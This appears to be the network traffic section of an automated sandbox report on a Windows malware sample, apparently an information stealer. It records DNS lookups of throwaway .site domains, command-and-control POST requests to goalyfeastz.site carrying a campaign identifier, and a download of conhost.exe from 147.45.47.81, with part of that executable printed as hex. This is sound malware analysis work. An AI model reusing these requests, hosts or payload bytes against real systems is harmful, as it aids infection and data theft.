Oct 30, 2024 15:44:46.271549940 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.271754026 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.271787882 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.271791935 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.271838903 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.271878004 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.271888018 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.271923065 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.271955967 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.271961927 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.271990061 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.272022963 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.272026062 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.272058010 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.272089958 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.272095919 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.272125959 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.272161007 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.272164106 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.272274017 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.272306919 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.272311926 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.272341013 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.272381067 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.279985905 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.281465054 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:45:01.360639095 CET	49995	80	192.168.2.6	147.45.47.81

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 30, 2024 15:42:18.679521084 CET	51996	53	192.168.2.6	1.1.1.1
Oct 30, 2024 15:42:18.695445061 CET	53	51996	1.1.1.1	192.168.2.6
Oct 30, 2024 15:44:31.098505974 CET	50901	53	192.168.2.6	1.1.1.1
Oct 30, 2024 15:44:31.342497110 CET	53	50901	1.1.1.1	192.168.2.6
Oct 30, 2024 15:44:31.349697113 CET	60640	53	192.168.2.6	1.1.1.1
Oct 30, 2024 15:44:31.359283924 CET	53	60640	1.1.1.1	192.168.2.6
Oct 30, 2024 15:44:31.363807917 CET	57632	53	192.168.2.6	1.1.1.1
Oct 30, 2024 15:44:31.374382019 CET	53	57632	1.1.1.1	192.168.2.6
Oct 30, 2024 15:44:31.379405022 CET	64602	53	192.168.2.6	1.1.1.1
Oct 30, 2024 15:44:31.394373894 CET	53	64602	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 30, 2024 15:42:18.679521084 CET	192.168.2.6	1.1.1.1	0x1fa0	Standard query (0)	IPhwvmMSERoGGfvkQaPBYqP.IPhwvmMSERoGGfvkQaPBYqP	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:44:31.098505974 CET	192.168.2.6	1.1.1.1	0x935	Standard query (0)	servicedny.site	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:44:31.349697113 CET	192.168.2.6	1.1.1.1	0x35ed	Standard query (0)	seallysl.site	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:44:31.363807917 CET	192.168.2.6	1.1.1.1	0xbc7f	Standard query (0)	opposezmny.site	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:44:31.379405022 CET	192.168.2.6	1.1.1.1	0x75e8	Standard query (0)	goalyfeastz.site	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 30, 2024 15:42:18.695445061 CET	1.1.1.1	192.168.2.6	0x1fa0	Name error (3)	IPhwvmMSERoGGfvkQaPBYqP.IPhwvmMSERoGGfvkQaPBYqP	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:44:31.342497110 CET	1.1.1.1	192.168.2.6	0x935	Name error (3)	servicedny.site	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:44:31.359283924 CET	1.1.1.1	192.168.2.6	0x35ed	Name error (3)	seallysl.site	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:44:31.374382019 CET	1.1.1.1	192.168.2.6	0xbc7f	Name error (3)	opposezmny.site	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:44:31.394373894 CET	1.1.1.1	192.168.2.6	0x75e8	No error (0)	goalyfeastz.site		172.67.145.203	A (IP address)	IN (0x0001)	false
Oct 30, 2024 15:44:31.394373894 CET	1.1.1.1	192.168.2.6	0x75e8	No error (0)	goalyfeastz.site		104.21.33.140	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

goalyfeastz.site

147.45.47.81

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49995	147.45.47.81	80	1832	C:\Users\user\AppData\Local\Temp\506033\Limitations.pif

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 15:44:43.758893013 CET	198	OUT	GET /conhost.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 147.45.47.81
Oct 30, 2024 15:44:45.257751942 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 14:44:44 GMT Content-Type: application/octet-stream Content-Length: 3125704 Last-Modified: Tue, 20 Aug 2024 12:02:17 GMT Connection: keep-alive ETag: "66c485c9-2fb1c8" Accept-Ranges: bytes Data Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 58 05 30 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 d4 4e 00 00 00 00 00 00 00 00 00 00 c0 75 2f 00 08 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ`@`!L!Require Windows$PEL?O_@X00Nu/<l.text `.rdata;<@@.dataM@.rsrcN0P@@U`AS3;VWtf9bAt`APPPYnj'@uv=A6PP9^]v8^3hAPPPxAEE;FrP~Y6jtAt$DV%sAF8^jqA39`At@9D$tt$Ph5XAA3D$`\|$u@3pAt$D$t$`A/@t$PQ%`A3T$L$fAABBfuL$3f9t@f<Aut$TAL$%S\$VC;^tLW3
Oct 30, 2024 15:44:45.257778883 CET	1236	IN	Data Raw: c9 6a 02 5a 8b c3 f7 e2 0f 90 c1 f7 d9 0b c8 51 e8 94 80 01 00 8b f8 33 c0 39 46 08 59 7e 1d 39 46 04 7e 10 8b 0e 66 8b 0c 41 66 89 0c 47 40 3b 46 04 7c f0 ff 36 e8 68 80 01 00 59 8b 46 04 89 3e 66 83 24 47 00 89 5e 08 5f 5e 5b c2 04 00 56 8b f1 Data Ascii: jZQ39FY~9F~fAfG@;F\|6hYF>f$G^_^[Vv\IY^oUQQAuVjjEP5A\|At>E;Ew6rE;Es,jPYYtlAj@ AEPjh5XAA3D$tlA
Oct 30, 2024 15:44:45.257793903 CET	1236	IN	Data Raw: 3b f3 74 06 8b 06 56 ff 50 08 33 c0 40 eb 25 e8 a7 fe ff ff 8d 4d e0 8b f8 e8 bb 0e 01 00 8b 06 56 ff 50 08 8b c7 eb 0c 3b f3 74 06 8b 06 56 ff 50 08 33 c0 5e 5f 5b c9 c3 56 8b f1 c7 46 04 60 c3 41 00 83 66 08 00 c7 06 34 a5 41 00 c7 46 04 24 a5 Data Ascii: ;tVP3@%MVP;tVP3^_[VF`Af4AF$AfNf$N(^Uh$AuYYtEP#UPQ3hAudYYu@]Vv({F$YtPQvzvYtVP^l$
Oct 30, 2024 15:44:45.257882118 CET	1236	IN	Data Raw: 7d c4 0f 84 d0 02 00 00 66 83 7d c4 08 0f 85 c5 02 00 00 ff 75 cc 8d 4d f0 e8 76 f8 ff ff 8d 45 f0 50 8d 46 10 50 8d 45 e4 50 8d 5e 28 e8 1f fc ff ff 83 c4 0c 50 8b cb e8 90 f8 ff ff ff 75 e4 e8 b6 76 01 00 39 7d 14 59 0f 85 6f 02 00 00 8b 46 0c Data Ascii: }f}uMvEPFPEP^(Puv9}YoFURjuf}f}PQ;EtMu{v}Y^f9}u~@-f}t jeVPMXuFvY,EF@FURjuPQ;Eu3f9}URjuF<F
Oct 30, 2024 15:44:45.257901907 CET	448	IN	Data Raw: a2 41 00 8b f8 3b fe 74 33 56 6a 01 6a 01 57 ff 15 a4 a2 41 00 56 56 56 8d 45 e4 50 ff 15 a8 a2 41 00 8d 45 e4 50 ff 15 ac a2 41 00 6a 01 57 ff 15 b0 a2 41 00 57 ff 15 b4 a2 41 00 5f 5e c9 c3 53 ff 74 24 08 ff 15 94 a2 41 00 8b d8 85 db 75 02 5b Data Ascii: A;t3VjjWAVVVEPAEPAjWAWA_^St$Au[VW\|$Wt$A5AWSWS_3^@[UDSVWjpA5XAAPuuSuhuuSt&utWS\AWS`AtPdAz=Auo5h
Oct 30, 2024 15:44:45.257924080 CET	1236	IN	Data Raw: 6a 18 ff 75 08 ff 15 40 a0 41 00 57 53 ff 75 d8 ff d6 57 53 ff 75 dc 89 45 f4 ff d6 ff 75 fc 8b 35 18 a0 41 00 89 45 f8 ff d6 ff 75 fc 8b d8 ff d6 ff 75 08 8b 35 38 a0 41 00 53 8b f8 ff d6 ff 75 f8 89 45 f0 ff 75 f4 ff 75 fc ff 15 34 a0 41 00 50 Data Ascii: ju@AWSuWSuEu5AEuu58ASuEuu4APWjWE<Ah u3uPPSuuPPW,AjW(AuESuW5$ASWujAEuWAWWWWuTA_^[UhSVWj@EPuA-h
Oct 30, 2024 15:44:45.257936954 CET	1236	IN	Data Raw: 83 25 84 e9 41 00 00 c3 83 25 84 e9 41 00 00 68 60 a6 41 00 68 c4 a5 41 00 ff 15 68 a1 41 00 50 ff 15 6c a1 41 00 85 c0 74 11 68 88 e9 41 00 ff d0 c7 05 84 e9 41 00 01 00 00 00 c3 56 8b 74 24 08 85 f6 75 05 33 c0 40 5e c3 e8 3f ff ff ff 83 f8 09 Data Ascii: %A%Ah`AhAhAPlAthAAVt$u3@^?uuu@;t3^US3EPSSSSSSh j jEP]]]]]]]EAtEPuSAuAE[UEVpEtKQ;SW}=3~'4<
Oct 30, 2024 15:44:45.257950068 CET	1236	IN	Data Raw: 5e c2 04 00 53 56 8b f1 8b 06 33 db 57 8b 7c 24 10 89 5e 04 88 18 38 1f 74 07 43 80 3c 3b 00 75 f9 53 e8 33 fc ff ff 8b 06 8a 0f 88 08 40 47 84 c9 75 f6 5f 89 5e 04 8b c6 5e 5b c2 04 00 56 57 8b 7c 24 0c 8b f1 3b fe 74 25 83 66 04 00 8b 06 c6 00 Data Ascii: ^SV3W\|$^8tC<;uS3@Gu_^^[VW\|$;t%fw@AuGF_^Vj&NT$FF^SVW\|$38tC<;uSF@Gu^_^[VW\|$wF@A
Oct 30, 2024 15:44:45.257963896 CET	1236	IN	Data Raw: 8d 45 f4 50 e8 46 fd ff ff 83 c4 0c 80 7d 10 00 5f 5e ff 75 f4 75 14 ff 35 80 e0 41 00 6a 0b 6a 00 e8 61 65 00 00 83 c4 10 eb 0c 6a 20 6a 00 e8 53 65 00 00 83 c4 0c ff 75 f4 e8 ac 61 01 00 ff 75 e8 e8 a4 61 01 00 59 32 c0 59 c9 c3 55 8b ec 83 ec Data Ascii: EPF}_^uu5Ajjaej jSeuauaY2YU4VWME0>fS^f~Ff=xufS1Y\|[PMMjEPEPPMu&aYEPMkuauaYYKFf=X
Oct 30, 2024 15:44:45.257977962 CET	448	IN	Data Raw: 61 04 00 00 57 ff d6 ff 75 dc e8 08 5d 01 00 ff 75 e8 e8 00 5d 01 00 59 59 8b c7 e9 18 ff ff ff 55 8b ec 51 53 56 57 8b 3d 28 a1 41 00 6a 01 8d 45 fc 50 ff 75 0c ff d7 8b 75 08 8b ce 8b d8 e8 54 df ff ff 8d 43 02 50 8b ce 89 45 08 e8 fb f4 ff ff Data Ascii: aWu]u]YYUQSVW=(AjEPuuTCPECSuPu>Wf$GYF_^[Vj\Ytt$3P.^UVF9EW~EMyt5WEPe3~MSUfBf@AA;\|[~
Oct 30, 2024 15:44:45.257992983 CET	1236	IN	Data Raw: 8d 4d a4 e8 d0 dd ff ff 8d 4d b0 e8 c8 dd ff ff 8b 4d fc 8b 07 89 4d f8 8d 34 08 8d 4d d4 e8 e3 f3 ff ff 8a 0e 33 db eb 14 80 f9 3d 74 1d ff 75 f4 8d 4d d4 e8 d5 f4 ff ff 43 8a 0c 1e 8a c1 88 4d f4 e8 57 e7 ff ff 84 c0 74 de 68 e9 fd 00 00 8d 45 Data Ascii: MMMM4M3=tuMCMWthEPEP^PMuZuZYY ]M M<=EMu<"t<-uulYFYuE0AFe
Oct 30, 2024 15:44:45.258137941 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 14:44:44 GMT Content-Type: application/octet-stream Content-Length: 3125704 Last-Modified: Tue, 20 Aug 2024 12:02:17 GMT Connection: keep-alive ETag: "66c485c9-2fb1c8" Accept-Ranges: bytes Data Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 58 05 30 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 d4 4e 00 00 00 00 00 00 00 00 00 00 c0 75 2f 00 08 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ`@`!L!Require Windows$PEL?O_@X00Nu/<l.text `.rdata;<@@.dataM@.rsrcN0P@@U`AS3;VWtf9bAt`APPPYnj'@uv=A6PP9^]v8^3hAPPPxAEE;FrP~Y6jtAt$DV%sAF8^jqA39`At@9D$tt$Ph5XAA3D$`\|$u@3pAt$D$t$`A/@t$PQ%`A3T$L$fAABBfuL$3f9t@f<Aut$TAL$%S\$VC;^tLW3

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49985	172.67.145.203	443	1832	C:\Users\user\AppData\Local\Temp\506033\Limitations.pif

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:44:32 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: goalyfeastz.site
2024-10-30 14:44:32 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-30 14:44:32 UTC	1009	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:44:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1likmkranm78d8c9n8lpb9n4nv; expires=Sun, 23 Feb 2025 08:31:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Fwa5SFEv31OSQDHCR%2Bv9kvMLbBBrdPCIqcj15XaLVUUl7hJENm7InoxEhZ3leGXaVbmp%2FoWJrMib5Yj%2FVlv1PnN0ueKiXy7G6OMuHe9tLQknu8%2FOtmzTlo1MlsAezzcvG5GE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dac2f14eb4c4796-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1320&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2840&recv_bytes=907&delivery_rate=1986282&cwnd=244&unsent_bytes=0&cid=a5e734850affe75c&ts=506&x=0"
2024-10-30 14:44:32 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-30 14:44:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49986	172.67.145.203	443	1832	C:\Users\user\AppData\Local\Temp\506033\Limitations.pif

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:44:33 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 85 Host: goalyfeastz.site
2024-10-30 14:44:33 UTC	85	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 42 56 6e 55 71 6f 2d 2d 40 4d 6f 6e 65 79 50 61 79 4f 50 26 6a 3d 37 63 32 36 33 33 35 37 64 30 34 61 66 66 34 37 33 63 62 32 65 64 61 38 61 34 32 66 66 30 33 33 Data Ascii: act=recive_message&ver=4.0&lid=BVnUqo--@MoneyPayOP&j=7c263357d04aff473cb2eda8a42ff033
2024-10-30 14:44:33 UTC	1013	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:44:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1t6rookb1p6thbpt4t37rm4f2l; expires=Sun, 23 Feb 2025 08:31:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ze9c3vTLnSgtpAmqMNAgLu58%2FY%2BDDfPjcCfgFuEbA7o7asxr64ZlewtHsW64kH1z3DBJGlw%2BbdGPsm0twXWJTSlRqNJraG3ojL%2Bf%2Fm%2BqEnPCnf7EwtfKOgnH2Dji6DMaCgPl"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dac2f1bdb70b787-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1767&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2841&recv_bytes=985&delivery_rate=1626052&cwnd=106&unsent_bytes=0&cid=edc03339c9dc3393&ts=481&x=0"
2024-10-30 14:44:33 UTC	356	IN	Data Raw: 34 32 36 38 0d 0a 78 65 78 38 71 31 46 77 31 2b 62 6c 33 2f 61 46 7a 4f 55 54 46 62 35 68 55 6d 49 66 77 63 78 4f 46 4e 32 77 45 42 37 63 47 72 57 2b 7a 67 71 4a 61 30 54 37 78 4a 61 36 31 4c 2b 71 68 48 39 6d 32 30 31 77 41 33 76 6a 39 69 68 31 73 63 4e 31 4d 76 35 73 32 4f 66 57 47 73 6f 39 41 37 4c 4b 78 37 71 4f 70 2f 61 2b 61 44 66 62 44 33 42 59 50 61 53 6d 4c 48 57 78 30 6e 46 31 73 32 72 5a 70 6f 51 51 7a 44 6b 56 74 49 4b 45 73 35 76 67 71 59 42 79 66 39 41 49 50 77 70 79 34 2b 42 73 63 61 65 53 4b 6a 79 52 66 38 47 6b 6f 52 33 59 4f 6c 4b 71 79 70 37 39 6b 2b 76 75 33 7a 46 30 32 77 4d 2b 42 48 75 71 70 43 5a 38 75 64 4e 30 64 4b 78 7a 30 36 32 45 48 73 38 34 48 37 32 57 69 62 6d 63 36 36 2b 4b 63 6a 65 53 51 7a 63 59 50 66 76 75 66 30 53 38 77 Data Ascii: 4268xex8q1Fw1+bl3/aFzOUTFb5hUmIfwcxOFN2wEB7cGrW+zgqJa0T7xJa61L+qhH9m201wA3vj9ih1scN1Mv5s2OfWGso9A7LKx7qOp/a+aDfbD3BYPaSmLHWx0nF1s2rZpoQQzDkVtIKEs5vgqYByf9AIPwpy4+BscaeSKjyRf8GkoR3YOlKqyp79k+vu3zF02wM+BHuqpCZ8udN0dKxz062EHs84H72Wibmc66+KcjeSQzcYPfvuf0S8w
2024-10-30 14:44:33 UTC	1369	IN	Data Raw: 69 45 6c 62 57 66 37 4b 75 56 65 6e 37 52 44 6a 41 4e 64 36 79 74 4c 48 47 31 32 48 31 32 75 6e 58 61 6f 59 34 65 69 58 31 53 73 70 7a 48 35 64 54 45 71 35 64 32 65 38 70 42 43 6b 42 69 37 62 64 73 63 62 4f 53 4b 6a 79 32 66 64 53 6b 68 52 48 4b 4f 78 6d 6e 68 4a 57 37 6d 65 4b 38 67 58 52 35 31 67 41 69 43 6e 4f 6c 72 53 56 39 74 74 64 31 65 50 34 32 6c 36 43 57 58 70 46 7a 4d 37 69 50 69 37 65 44 35 2b 36 59 50 32 36 63 42 44 78 41 4a 65 4f 71 4c 58 4b 2b 31 6e 78 79 75 6e 54 52 71 59 4d 52 7a 7a 6b 53 73 6f 36 50 74 5a 58 71 70 59 68 78 63 74 45 48 4e 67 78 38 70 75 35 69 4e 72 6a 4b 4d 69 54 2b 56 74 43 6b 6e 46 7a 38 4d 42 79 37 67 35 48 39 69 36 6d 33 78 33 5a 37 6e 46 74 77 44 6e 69 73 76 43 31 6b 75 74 78 67 63 4c 74 2b 32 71 53 41 48 73 77 30 48 Data Ascii: iElbWf7KuVen7RDjANd6ytLHG12H12unXaoY4eiX1SspzH5dTEq5d2e8pBCkBi7bdscbOSKjy2fdSkhRHKOxmnhJW7meK8gXR51gAiCnOlrSV9ttd1eP42l6CWXpFzM7iPi7eD5+6YP26cBDxAJeOqLXK+1nxyunTRqYMRzzkSso6PtZXqpYhxctEHNgx8pu5iNrjKMiT+VtCknFz8MBy7g5H9i6m3x3Z7nFtwDnisvC1kutxgcLt+2qSAHsw0H
2024-10-30 14:44:33 UTC	1369	IN	Data Raw: 39 69 36 6d 33 78 33 5a 37 6e 46 74 77 44 48 53 6a 70 53 5a 79 76 39 56 2f 65 62 31 2f 31 4b 71 4a 46 4d 63 30 46 72 6d 4e 69 72 75 55 34 4b 71 43 59 33 4c 56 44 7a 78 41 4d 2b 4f 70 4e 44 62 6e 6b 6c 31 37 71 48 76 34 70 4a 38 58 69 53 78 63 72 4d 53 41 73 64 53 2f 37 6f 42 30 66 39 63 46 4f 41 42 76 70 71 41 6e 64 37 58 55 63 33 47 79 66 74 65 6d 6a 68 6a 46 4d 78 57 79 6c 70 57 34 6b 76 57 6b 78 7a 38 33 32 78 74 77 57 44 32 56 76 6a 74 6e 71 5a 42 48 66 37 42 32 30 4c 48 4f 41 59 63 71 55 72 4b 49 78 2b 58 55 37 4b 36 4c 64 6e 2f 61 42 7a 67 50 63 71 71 38 4c 58 71 78 77 48 56 38 74 33 62 59 71 34 63 54 7a 6a 34 5a 76 34 6d 44 75 70 57 6e 34 4d 64 32 62 35 78 62 63 44 5a 74 72 71 49 43 66 62 50 62 4d 6d 50 77 59 5a 65 67 67 6c 36 52 63 78 61 35 6a 49 Data Ascii: 9i6m3x3Z7nFtwDHSjpSZyv9V/eb1/1KqJFMc0FrmNiruU4KqCY3LVDzxAM+OpNDbnkl17qHv4pJ8XiSxcrMSAsdS/7oB0f9cFOABvpqAnd7XUc3GyftemjhjFMxWylpW4kvWkxz832xtwWD2VvjtnqZBHf7B20LHOAYcqUrKIx+XU7K6Ldn/aBzgPcqq8LXqxwHV8t3bYq4cTzj4Zv4mDupWn4Md2b5xbcDZtrqICfbPbMmPwYZeggl6Rcxa5jI
2024-10-30 14:44:33 UTC	1369	IN	Data Raw: 71 34 4e 32 63 39 6f 4d 63 45 34 39 70 4c 5a 73 4c 76 2f 39 56 55 6e 38 57 65 33 6e 6b 56 44 51 63 78 57 35 78 4e 2f 39 6d 4f 53 69 6a 33 35 78 31 51 38 36 43 58 61 76 70 53 68 36 74 74 64 30 66 62 74 39 31 71 4f 43 46 4d 38 77 45 62 71 4c 69 4c 58 55 71 65 36 41 61 54 65 45 51 78 55 58 64 71 32 6f 62 47 6e 78 79 7a 4a 37 73 6a 69 50 35 34 49 58 7a 7a 55 58 75 59 57 42 74 5a 48 76 71 6f 5a 33 63 64 38 4d 4e 41 56 38 72 4b 6f 67 65 4c 58 54 63 33 43 31 64 39 79 69 7a 6c 43 4a 4e 41 72 31 33 4d 65 4d 6c 2f 47 35 6c 33 30 33 77 30 30 70 51 48 71 76 37 6e 51 32 76 73 42 34 64 72 42 39 32 4b 4b 4e 45 63 34 2b 46 4c 6d 4f 6a 72 57 53 36 4b 65 56 63 6e 76 53 42 44 34 4d 63 36 36 6b 4c 33 76 2f 6e 44 4a 37 70 6a 69 50 35 36 49 5a 78 42 30 5a 75 59 50 48 6f 74 72 Data Ascii: q4N2c9oMcE49pLZsLv/9VUn8We3nkVDQcxW5xN/9mOSij35x1Q86CXavpSh6ttd0fbt91qOCFM8wEbqLiLXUqe6AaTeEQxUXdq2obGnxyzJ7sjiP54IXzzUXuYWBtZHvqoZ3cd8MNAV8rKogeLXTc3C1d9yizlCJNAr13MeMl/G5l303w00pQHqv7nQ2vsB4drB92KKNEc4+FLmOjrWS6KeVcnvSBD4Mc66kL3v/nDJ7pjiP56IZxB0ZuYPHotr
2024-10-30 14:44:33 UTC	1369	IN	Data Raw: 58 44 45 51 32 68 41 53 36 53 2b 50 48 58 39 34 32 52 2f 71 48 50 61 71 38 34 42 68 79 70 53 73 6f 6a 48 35 64 54 68 6f 59 35 79 65 4e 30 4b 50 41 31 34 71 71 73 74 63 4c 76 59 65 48 79 34 66 74 61 69 68 42 33 49 4f 52 75 79 6a 49 43 2b 68 71 66 67 78 33 5a 76 6e 46 74 77 4b 58 71 78 6f 44 77 32 6f 4a 78 72 50 4c 6c 30 6c 2f 2f 4f 47 73 4d 38 46 72 4b 49 67 62 69 53 36 71 2b 49 63 48 66 54 42 7a 73 4a 65 36 4b 6a 4b 58 75 37 77 48 68 33 73 58 54 65 71 34 4e 65 68 33 4d 56 72 63 54 66 2f 61 58 71 6f 49 6c 32 59 5a 77 63 66 68 6b 39 70 4b 4a 73 4c 76 2f 54 66 6e 4f 39 64 39 53 6b 6a 78 54 62 49 52 36 38 6a 49 4b 78 6e 2b 6d 6f 6c 58 64 34 31 51 41 7a 43 58 71 72 6f 69 5a 31 75 4a 49 38 50 4c 6c 67 6c 2f 2f 4f 50 64 34 6a 48 2f 57 62 79 61 54 55 34 4b 4c 48 Data Ascii: 